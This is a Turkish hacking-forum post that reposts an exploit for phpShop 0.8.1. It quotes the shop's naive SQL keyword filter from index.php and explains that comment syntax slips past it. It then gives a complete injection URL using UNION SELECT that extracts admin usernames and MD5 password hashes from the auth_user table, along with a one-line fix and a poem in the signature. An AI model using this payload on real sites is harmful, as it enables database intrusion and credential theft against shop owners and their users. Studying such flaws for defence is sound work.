X



Konu Bilgileri
Konu Başlığı
phpShop <= v 0.8.1 Remote SQL injection / Filter Bypass
Konudaki Cevap Sayısı
0
Konuyu Açan Kişi
M i r z A
Görüntülenme Sayısı
22





Mesaj Önizleme  Konuyu Gönder 
phpShop <= v 0.8.1 Remote SQL injection / Filter Bypass
Yazar Mesaj
M i r z A
EngLisH TeaCHeR
Administrators

Üye No: 1
Katılım: Jun 2006
Yer: French
Mesajlar: 10,023
Grup: Administrators
Durum Çevrimdışı

Rep Ver :
Rep Puanı : 131
Ruh Hali
asik

MSN araciligi ile mesaj yolla Yahoo araciligi ile mesaj yolla ICQ araciligi ile mesaj yolla AIM araciligi ile mesaj yolla




Mesaj: #1
phpShop <= v 0.8.1 Remote SQL injection / Filter Bypass

Vendor : PHPShop

Webiste : http://www.phpshop.org

Version : v0.8.1

Author: the redc0ders / theredc0ders[at]gmail[dot]com

Condition: magic_quote_gpc = off , in php.ini setting

Details :

==========

Vulnerable Code in index.php near lines 98 - 128

Kod:
// basic SQL inject detection

$my_insecure_array = array('keyword' =&gt; $_REQUEST['keyword'],

'category_id' =&gt; $_REQUEST['category_id'],

'product_id' =&gt; $_REQUEST['product_id'],

'user_id' =&gt; $_REQUEST['user_id'],

'user_info_id' =&gt; $_REQUEST['user_info_id'],

'page' =&gt; $_REQUEST['page'],

'func' =&gt; $_REQUEST['func']);

while(list($key,$value)=each($my_insecure_array)) {

if (stristr($value,'FROM ') ||

stristr($value,'UPDATE ') ||

stristr($value,'WHERE ') ||

stristr($value,'ALTER ') ||

stristr($value,'SELECT ') ||

stristr($value,'SHUTDOWN ') ||

stristr($value,'CREATE ') ||

stristr($value,'DROP ') ||

stristr($value,'DELETE FROM') ||

stristr($value,'script') ||

stristr($value,'&lt;&gt;') ||

stristr($value,'=') ||

stristr($value,'SET '))

die('Please provide a permitted value for '.$key);

}


The script check if $my_insecure_array contain 'SELECT ','UPDATE ' ...etc

so WORD+space, and this can be easily bypassed using comments like

POC : select/**/input1,input2...

Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&product_id=-3'+UNION+select/**
/null,null,null,null,null,password,null,null,null,null,null,null,null,nu
ll,null,null,null,null,null,null,null,null,null,username/**/from/**/auth
_user_md5/*

Solution :

simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini

Greetz : Hacker1 - ToXiC350 - S4MI - Miyyet - Pynsso - Amigo_BM and All Moroccan Hackers =)

From Morocco : JIB L3EZZ WELLA K7AZZ !

[ reply ]



Bak Dagıttın Yıktın İşte Tekrar
Aldın Elimden Sessizliğimi ,
Bir kez susmuştum senin için
Ve bir kez daha ,
Çaldın işte tek mirasımı
Mutlusun Biliyorum, Gelmesende
Ben bu sefer Zamklıyorum dudaklarımı suskunluğa yeminle..
Nolur gelme artık git.
Bu sefer ben seni istemiyorum İstanbul !
17-02-2008 03:21:21 AM
Kullanıcının websitesini ziyaret et Bu kullanıcının gönderdiği mesajları bul Bu mesajı bir cevapta alıntı yap
Mesaj Önizleme  Konuyu Gönder 

Benzer Konular...
Konu: Yazar Cevaplar: Gösterim: Son Mesaj
  vBulletin PhotoPost vBGallery v2.x Remote File Uploa M i r z A 0 64 21-07-2008 10:28:09 AM
Son Mesaj: M i r z A
  PHPizabi v0.848b C1 HFP1 Remote Code Execution M i r z A 0 16 21-07-2008 10:26:58 AM
Son Mesaj: M i r z A
  Joomla Component DT Register Remote SQL injection M i r z A 0 43 21-07-2008 10:26:06 AM
Son Mesaj: M i r z A

Yazdırılabilir Bir Versiyona Bak
Bu Konuyu Bir Arkadaşına Gönder
Bu Konuya Abone Ol | Konuyu Favorilerine Ekle

Foruma Git: